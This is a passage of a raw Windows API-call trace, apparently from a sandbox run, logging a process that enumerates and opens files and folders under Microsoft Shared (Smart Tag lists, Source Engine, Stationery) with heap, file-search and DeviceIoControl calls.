(HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.326] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9091d8 [0240.326] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x90be90 [0240.326] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.326] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5866b900, ftCreationTime.dwHighDateTime=0x1c29047, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5866b900, ftLastWriteTime.dwHighDateTime=0x1c29047, nFileSizeHigh=0x0, nFileSizeLow=0xa7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="STOCKS.XML", cAlternateFileName="")) returned 1 [0240.326] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.326] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.326] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.326] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.326] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.326] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9091f8 [0240.326] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x90bf98 [0240.326] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.326] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36acb00, ftCreationTime.dwHighDateTime=0x1c2dd39, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x36acb00, ftLastWriteTime.dwHighDateTime=0x1c2dd39, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="TIME.XML", cAlternateFileName="")) returned 1 [0240.326] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.326] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.326] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.326] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.326] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.326] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x909218 [0240.326] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x90c0a0 [0240.327] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.327] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36acb00, ftCreationTime.dwHighDateTime=0x1c2dd39, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x36acb00, ftLastWriteTime.dwHighDateTime=0x1c2dd39, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="TIME.XML", cAlternateFileName="")) returned 0 [0240.327] GetLastError () returned 0x12 [0240.327] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0240.327] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0240.327] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.327] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310fad00, ftCreationTime.dwHighDateTime=0x1c2d758, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x310fad00, ftLastWriteTime.dwHighDateTime=0x1c2d758, nFileSizeHigh=0x0, nFileSizeLow=0x22d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DATES.XML", cAlternateFileName="")) returned 1 [0240.327] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a301d00, ftCreationTime.dwHighDateTime=0x1c2d7fa, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8a301d00, ftLastWriteTime.dwHighDateTime=0x1c2d7fa, nFileSizeHigh=0x0, nFileSizeLow=0x734, dwReserved0=0x0, dwReserved1=0x0, cFileName="PHONE.XML", cAlternateFileName="")) returned 1 [0240.327] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1271800, ftCreationTime.dwHighDateTime=0x1c4481e, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc1271800, ftLastWriteTime.dwHighDateTime=0x1c4481e, nFileSizeHigh=0x0, nFileSizeLow=0x9869, dwReserved0=0x0, dwReserved1=0x0, cFileName="STOCKS.DAT", cAlternateFileName="")) returned 1 [0240.327] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5866b900, ftCreationTime.dwHighDateTime=0x1c29047, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5866b900, ftLastWriteTime.dwHighDateTime=0x1c29047, nFileSizeHigh=0x0, nFileSizeLow=0xa7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="STOCKS.XML", cAlternateFileName="")) returned 1 [0240.327] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36acb00, ftCreationTime.dwHighDateTime=0x1c2dd39, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x36acb00, ftLastWriteTime.dwHighDateTime=0x1c2dd39, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="TIME.XML", cAlternateFileName="")) returned 1 [0240.327] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36acb00, ftCreationTime.dwHighDateTime=0x1c2dd39, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x36acb00, ftLastWriteTime.dwHighDateTime=0x1c2dd39, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="TIME.XML", cAlternateFileName="")) returned 0 [0240.327] GetLastError () returned 0x12 [0240.327] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x906d00) returned 1 [0240.327] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0240.327] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x906bf8) returned 1 [0240.327] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9067d0) returned 1 [0240.327] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11f34c00, ftCreationTime.dwHighDateTime=0x1c62260, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11f34c00, ftLastWriteTime.dwHighDateTime=0x1c62260, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 1 [0240.327] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11f34c00, ftCreationTime.dwHighDateTime=0x1c62260, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11f34c00, ftLastWriteTime.dwHighDateTime=0x1c62260, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 0 [0240.327] GetLastError () returned 0x12 [0240.328] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90b668) returned 1 [0240.328] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0240.328] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9061a0) returned 1 [0240.328] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90b350) returned 1 [0240.328] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e94600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93e94600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x1b180, dwReserved0=0x0, dwReserved1=0x0, cFileName="METCONV.DLL", cAlternateFileName="")) returned 1 [0240.328] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85f12000, ftCreationTime.dwHighDateTime=0x1c9a11f, ftLastAccessTime.dwLowDateTime=0x69a83910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85f12000, ftLastWriteTime.dwHighDateTime=0x1c9a11f, nFileSizeHigh=0x0, nFileSizeLow=0x120eb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="METCONV.TXT", cAlternateFileName="")) returned 1 [0240.328] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802a9400, ftCreationTime.dwHighDateTime=0x1caad0b, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x802a9400, ftLastWriteTime.dwHighDateTime=0x1caad0b, nFileSizeHigh=0x0, nFileSizeLow=0x59180, dwReserved0=0x0, dwReserved1=0x0, cFileName="MOFL.DLL", cAlternateFileName="")) returned 1 [0240.328] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab68100, ftCreationTime.dwHighDateTime=0x1cac9a5, ftLastAccessTime.dwLowDateTime=0x5943a0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab68100, ftLastWriteTime.dwHighDateTime=0x1cac9a5, nFileSizeHigh=0x0, nFileSizeLow=0x3574, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTAG.TLB", cAlternateFileName="")) returned 1 [0240.328] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x3d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmartTagInstall.exe", cAlternateFileName="")) returned 1 [0240.328] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x3d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmartTagInstall.exe", cAlternateFileName="")) returned 0 [0240.328] GetLastError () returned 0x12 [0240.328] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0240.328] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0240.328] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x909988) returned 1 [0240.328] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0240.328] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Source Engine", cAlternateFileName="")) returned 1 [0240.328] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0240.328] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0240.479] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0240.480] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0240.480] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x90dd70 [0240.480] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x90dd70, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x90dd70, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0240.480] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90dd70) returned 1 [0240.480] NtClose (Handle=0x1bc) returned 0x0 [0240.480] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0240.480] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0240.480] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0240.480] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.480] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd620 [0240.480] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.480] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfcedc00, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcfcedc00, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 1 [0240.480] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0240.481] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0240.481] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0240.481] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0240.481] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0240.481] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0240.481] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfcedc00, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcfcedc00, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 0 [0240.481] GetLastError () returned 0x12 [0240.481] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd560 [0240.481] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0240.481] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.481] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfcedc00, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcfcedc00, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 1 [0240.481] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfcedc00, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcfcedc00, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 0 [0240.481] GetLastError () returned 0x12 [0240.481] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.481] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0240.481] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0240.481] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0240.481] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="")) returned 1 [0240.481] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0240.482] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0240.535] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0240.535] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0240.535] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x90dd70 [0240.535] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x90dd70, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x90dd70, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0240.535] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90dd70) returned 1 [0240.535] NtClose (Handle=0x1b0) returned 0x0 [0240.535] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0240.535] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0240.535] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0240.535] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.535] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd560 [0240.586] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.604] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2608de, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2608de, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xcdfff30e, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.htm", cAlternateFileName="")) returned 1 [0240.604] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0240.604] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0240.604] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0240.604] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0240.604] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0240.604] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x909988 [0240.604] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0240.604] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x909238 [0240.604] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x90b350 [0240.604] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0240.605] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: 